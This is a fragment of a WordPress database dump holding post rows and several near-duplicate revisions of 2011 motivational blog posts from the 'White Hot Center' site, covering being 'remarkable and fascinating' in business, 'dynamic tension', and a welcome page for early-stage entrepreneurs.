(1689, 2, '2011-06-30 14:44:42', '2011-06-30 21:44:42', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many want to hyper-focus on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore. Nobody cares that you need business. Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like trendy shoes,  you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. You can''t fake it till you make it. Your proposition has to be genuine from the heart. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will  make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is  right at the top. If you seek information on how to remarkably connect your message  to customers, she can help you. I took the test myself.  The results were  very insightful and useful.  Please let me know if you found your  results fascinating.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-24', '', '', '2011-06-30 14:44:42', '2011-06-30 21:44:42', '', 1662, 'http://www.whitehotcenter.com/1662-revision-24/', 0, 'revision', '', 0),
(1690, 2, '2011-07-07 15:28:54', '2011-07-07 22:28:54', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable.</span></h1>\nIn working with my entrepreneur consulting clients, many want to hyper-focus on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore. Nobody cares that you need business. Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.\n\nCustomers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\n\n<strong>Value is in the eye of the beholder. </strong>\n\nYou may think your stuff’s awesome, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\nYou can’t wear fascinating and remarkable like trendy shoes, you have to really be remarkable and fascinating– and what’s remarkable and fascinating about you resides within you. You can''t fake it till you make it. Your value proposition has to be genuine from the heart. Of course, you have to believe that first to make the magic work.\n\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\n\n• have empathy for others\n\n• contribute to others without expecting anything in return\n\n• start a parade and lead it\n\n• stop competing, start creating\n\n• stop selling, solve the problem\n\n• embrace risk, get out and play on the edges\n\n• be grateful\n\n• elevate the quality of your presence in the world\n\n• stand for a higher ideal than your own success\n\n• earn respect over seeking affection\n\n• elevate all you come into contact with\n\n• quit sending your brochures through the mail\n\n• don’t cold call prospects, create value for them <strong></strong>\n\n<strong>The slush pile grows ever larger.</strong>\n\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\n\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\n\n<strong>A special treat for you.</strong>\n\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will  make you (and your value proposition) more remarkable and fascinating.\n\nIn the slush pile of information on the web, I think her stuff is  right at the top. If you seek information on how to remarkably connect your message  to customers, she can help you. I took the test myself.  The results were  very insightful and useful.  Please let me know if you found your  results fascinating.\n\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-autosave', '', '', '2011-07-07 15:28:54', '2011-07-07 22:28:54', '', 1662, 'http://www.whitehotcenter.com/1662-autosave/', 0, 'revision', '', 0),
(1691, 2, '2011-06-30 14:54:12', '2011-06-30 21:54:12', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many want to hyper-focus on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore. Nobody cares that you need business. Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like trendy shoes,  you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. You can''t fake it till you make it. Your proposition has to be genuine from the heart. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will  make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is  right at the top. If you seek information on how to remarkably connect your message  to customers, she can help you. I took the test myself.  The results were  very insightful and useful.  Please let me know if you found your  results fascinating.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-25', '', '', '2011-06-30 14:54:12', '2011-06-30 21:54:12', '', 1662, 'http://www.whitehotcenter.com/1662-revision-25/', 0, 'revision', '', 0);
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(1735, 2, '2011-07-24 13:23:27', '2011-07-24 20:23:27', '<img class="alignnone size-full wp-image-1745" title="sumu-wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/sumu-wrstlers.jpg" alt="" width="490" height="315" />\r\n<h1><span style="color: #888888;">Dynamic tension is the experience of wrestling with opposing forces. These forces are centered in wanting to experience opposing desires all in the same moment. To move forward, one must prevail over the other.\r\n</span></h1>\r\nAs humans, we all possess certain characteristics, motivations and themes in our life that seem at odds with each other. If you find yourself stuck or moving sideways, take a deep hard look at the dynamic tensions you are experiencing in your life.\r\n\r\nHere are some examples:\r\n\r\n<strong>• creative freedom vs. financial security</strong>\r\n\r\n<strong>• working independently vs. being a member of a team</strong>\r\n\r\n<strong>• individual control vs. partnership</strong>\r\n\r\n<strong>• automony vs. support and security</strong>\r\n\r\n<strong>• family vs. career</strong>\r\n\r\n<strong>• living where you want vs. living where you work</strong>\r\n\r\nYou get the idea. Dynamic tension is the messy middle where you are not fully committed. It’s the state of being where you are fighting with yourself because you desire to experience multiple realities at the same time. You find yourself at an impasse over which pole to favor. It’s madness, but it’s also a zone of empowerment and creativity if you choose to perceive it that way.\r\n\r\nWhen you’re fighting the opposing forces of your desire, the tension you experience provides a lot of power and energy to trust yourself more deeply, and choosing more authentically. If you study my list of dynamic tensions, you’ll see the pattern of risk and freedom vs. fear and doubt. The charge that runs through each pole is an important source of life energy. You’ll need all the energy you can muster to move toward your bigger better future, and break the gravity of your desire for comfort, stability and security.\r\n<h2>When you feel the “tension” that’s your cue you need to be moving forward creating something awesome and remarkable.</h2>\r\nIf you’re starting a business, and you highly desire and value individual control, it’s probably going to be difficult for you to acknowledge your “other” desire for partnership and collaboration.  Individual control is fear based, while collaboration supports freedom.\r\n\r\nThe ideal of the rugged individualist entrepreneur is an old paradigm. In this new century where ideas and innovation rule, collaboration is essential. To create a business where all your time is spent creating awesome stuff requires you have partners and collaborators. The tension demands reconciliation.\r\n\r\n<strong>Living at the border.</strong>\r\n\r\nIn my view, the universe is for growth and expansion. Dynamic tension is natural and necessary for growth. If you’re not experiencing dynamic tension in your life that means your dead. Move past the known and grow into the unknown. Then, like the instructions on a bottle of shampoo–rinse and repeat.\r\n\r\nEssentially growth lives on the border where uncertainty and ambiguity are always present. As you experience more growth, your confidence and trust in the process strengthens and you discover living on the edge is where opportunity is found. Eventually, you’ll realize that the border is where you experience being more “alive”.\r\n\r\n<strong>Real choices, unlike convenient options, are always in tension.</strong>\r\n\r\nEvery dynamic tension will lead to moment of choice– grow or stay at an impasse. The tension evaporates when a choice that involves growth is made. On the other hand, if you resign yourself to a choice of staying put, you’ll continue to experience ever-greater tension since you’ve decided to buck the direction everything is headed.\r\n\r\nThe choice to grow is the authentic choice.  Authentic choices are not random or arbitrary. They come from our deepest life interests, our motivations, and the themes and events we have experienced thus far. Dynamic tension leads to an opportunity for more authentic choices. You''ll recognize the authentic choice because you will sense being pulled rather than pushed. These choices are not convenient compromises. They come from the depths of the heart and require a price be paid.\r\n\r\n<strong>In the end, dynamic tension fuels the leap into defining a more meaningful path forward out of the impasse and into a more rewarding and fulfilling life.</strong>', 'Wrestling with opposing forces.', 0, '', 'publish', 'open', 'open', '', 'wrestling-with-opposing-forces', '', '', '2011-07-24 13:23:27', '2011-07-24 20:23:27', '', 0, 'http://www.whitehotcenter.com/?p=1735', 0, 'post', '', 3),
(1695, 2, '2011-07-03 10:05:58', '2011-07-03 17:05:58', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #808080;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\nI’m so delighted that you have found your way to the White Hot Center. The purpose here is to provide inspiration, ideas and strategies that will help light the way along your road to creating a bigger future.\r\n\r\nHere on the White Hot Center, I write and podcast about ideas that  inspire early-stage entrepreneurs at the  crossroads of personal and  professional growth, lifestyle design, value  creation and business  development. Creating meaningful success is a life-long process of never  ending change, growth and expansion. When you''re burning bright  full-on, you engage life in all areas with greater wonder and enthusiasm. You  delight in continuously asking yourself–how far can I take my ideas?   That''s how I feel every time I am writing and sharing here!  Indeed,  this space is a service to my fellow entrepreneurs, and a labor of love for me!\r\n\r\nMy philosophy of life success is detailed in the <strong><a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a></strong>. Check that out first. From there, you’ll know if you’re in the right place or not.<span style="color: #000000;"> Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n<h2><strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong></h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nI hope you find my ideas useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your personal and business growth. Of course, I would appreciate you sharing with your colleagues too. Plus, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-03 10:05:58', '2011-07-03 17:05:58', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-106/', 0, 'revision', '', 0),
(1696, 2, '2011-07-03 10:09:22', '2011-07-03 17:09:22', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #808080;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\nI’m delighted that you have found your way to the White Hot Center. The purpose here is to provide inspiration, ideas and strategies that will help light the way along your road to creating a bigger future.\r\n\r\nHere on the White Hot Center, I write and podcast about ideas that  inspire early-stage entrepreneurs at the  crossroads of personal and  professional growth, lifestyle design, value  creation and business  development. Creating meaningful success is a life-long process of never  ending change, growth and expansion. When you''re burning bright  full-on, you engage life in all areas with greater wonder and enthusiasm. You  delight in continuously asking yourself–how far can I take my ideas?   That''s how I feel every time I am writing and sharing here!  Indeed,  this space is a service to my fellow entrepreneurs, and a labor of love for me!\r\n\r\nMy philosophy of life success is detailed in the <strong><a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a></strong>. Check that out first. From there, you’ll know if you’re in the right place or not.<span style="color: #000000;"> Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nI hope you find the ideas presented here to be useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your personal and business growth. Of course, I would appreciate you sharing with your colleagues too. Plus, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-03 10:09:22', '2011-07-03 17:09:22', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-107/', 0, 'revision', '', 0),
(1697, 2, '2011-07-03 10:10:25', '2011-07-03 17:10:25', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #fb7a03;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\nI’m delighted that you have found your way to the White Hot Center. The purpose here is to provide inspiration, ideas and strategies that will help light the way along your road to creating a bigger future.\r\n\r\nHere on the White Hot Center, I write and podcast about ideas that  inspire early-stage entrepreneurs at the  crossroads of personal and  professional growth, lifestyle design, value  creation and business  development. Creating meaningful success is a life-long process of never  ending change, growth and expansion. When you''re burning bright  full-on, you engage life in all areas with greater wonder and enthusiasm. You  delight in continuously asking yourself–how far can I take my ideas?   That''s how I feel every time I am writing and sharing here!  Indeed,  this space is a service to my fellow entrepreneurs, and a labor of love for me!\r\n\r\nMy philosophy of life success is detailed in the <strong><a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a></strong>. Check that out first. From there, you’ll know if you’re in the right place or not.<span style="color: #000000;"> Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nI hope you find the ideas presented here to be useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your personal and business growth. Of course, I would appreciate you sharing with your colleagues too. Plus, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-03 10:10:25', '2011-07-03 17:10:25', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-108/', 0, 'revision', '', 0),
(1698, 2, '2011-07-03 10:14:13', '2011-07-03 17:14:13', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #fb7a03;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\nI’m delighted that you have found your way to the White Hot Center. The purpose here is to provide inspiration, ideas and strategies that will help light the way along your road to creating a bigger future.\r\n<h2>Here on the White Hot Center, I write and podcast about ideas that  inspire early-stage entrepreneurs who seek information and guidance within the areas of personal and  professional growth, lifestyle design, value  creation and business  development.</h2>\r\nCreating meaningful success is a life-long process of never  ending change, growth and expansion. When you''re burning bright  full-on, you engage life in all areas with greater wonder and enthusiasm. You  delight in continuously asking yourself–how far can I take my ideas?   That''s how I feel every time I am writing and sharing here!  Indeed,  this space is a service to my fellow entrepreneurs, and a labor of love for me!\r\n\r\nMy philosophy of life success is detailed in the <strong><a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a></strong>. Check that out first. From there, you’ll know if you’re in the right place or not.<span style="color: #000000;"> Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nI hope you find the ideas presented here to be useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your personal and business growth. Of course, I would appreciate you sharing with your colleagues too. Plus, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-03 10:14:13', '2011-07-03 17:14:13', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-109/', 0, 'revision', '', 0),
(1699, 2, '2011-07-03 10:15:25', '2011-07-03 17:15:25', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #fb7a03;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\nI’m delighted that you have found your way to the White Hot Center. The purpose here is to provide inspiration, ideas and strategies that will help light the way along your road to creating a bigger future.\r\n<h2>Here on the White Hot Center, I write and podcast about ideas that  inspire early-stage entrepreneurs who seek information and guidance within the areas of personal and  professional growth, lifestyle design, value  creation and business  development.</h2>\r\nCreating meaningful success is a life-long process of never  ending change, growth and expansion. When you''re burning bright  full-on, you engage life in all areas with greater wonder and enthusiasm. You  delight in continuously asking yourself–how far can I take my ideas?   That''s how I feel every time I am writing and sharing here!  Indeed,  this space is a service to my fellow entrepreneurs, and a labor of love for me!\r\n\r\nMy philosophy of life success is detailed in the <strong><a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a></strong>. Check that out first. From there, you’ll know if you’re in the right place or not.<span style="color: #000000;"> Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nI hope you find the ideas presented here to be useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your personal and business growth. Of course, I would appreciate you sharing with your colleagues too. Plus, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-03 10:15:25', '2011-07-03 17:15:25', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-110/', 0, 'revision', '', 0),
(1700, 2, '2011-07-03 10:17:48', '2011-07-03 17:17:48', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #fb7a03;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\nI’m delighted that you have found your way to the White Hot Center. The purpose here is to provide inspiration, ideas and strategies that will help light the way along your road to creating a bigger future.\r\n<h2>Here on the White Hot Center are useful ideas that  inspire early-stage entrepreneurs who seek information and guidance within the areas of personal and  professional growth, lifestyle design, value  creation and business  development.</h2>\r\nCreating meaningful success is a life-long process of never  ending change, growth and expansion. When you''re burning bright  full-on, you engage life in all areas with greater wonder and enthusiasm. You  delight in continuously asking yourself–how far can I take my ideas?   That''s how I feel every time I am writing and sharing here!  Indeed,  this space is a service to my fellow entrepreneurs, and a labor of love for me!\r\n\r\nMy philosophy of life success is detailed in the <strong><a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a></strong>. Check that out first. From there, you’ll know if you’re in the right place or not.<span style="color: #000000;"> Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nI hope you find the ideas presented here to be useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your personal and business growth. Of course, I would appreciate you sharing with your colleagues too. Plus, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-03 10:17:48', '2011-07-03 17:17:48', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-111/', 0, 'revision', '', 0),
(1701, 2, '2011-07-03 10:28:21', '2011-07-03 17:28:21', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #fb7a03;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\nI’m delighted that you have found your way to the White Hot Center. The purpose here is to provide inspiration, ideas and strategies that will help light the way along your road to creating a bigger future.\r\n<h2>The White Hot Center content serves early-stage entrepreneurs who seek knowledge and guidance within the areas of personal and  professional growth, lifestyle design, value  creation, innovation and business  development.</h2>\r\nCreating success is a life-long process of never  ending change, growth and expansion. When you''re burning bright  full-on from your white hot center, you engage life in all areas with greater wonder and enthusiasm. You  delight in continuously asking yourself–how far can I take my ideas?   That''s how I feel every time I am writing and sharing ideas and strategies here!  Indeed,  this space is a service to my fellow entrepreneurs, and a labor of love for me!\r\n\r\nMy philosophy of life success is detailed in the <strong><a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a></strong>. Check that out first. From there, you’ll know if you’re in the right place or not.<span style="color: #000000;"> Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nI hope you find the ideas presented here to be useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your personal and business growth. Of course, I would appreciate you sharing these ideas with your colleagues too. Plus, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-03 10:28:21', '2011-07-03 17:28:21', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-112/', 0, 'revision', '', 0),
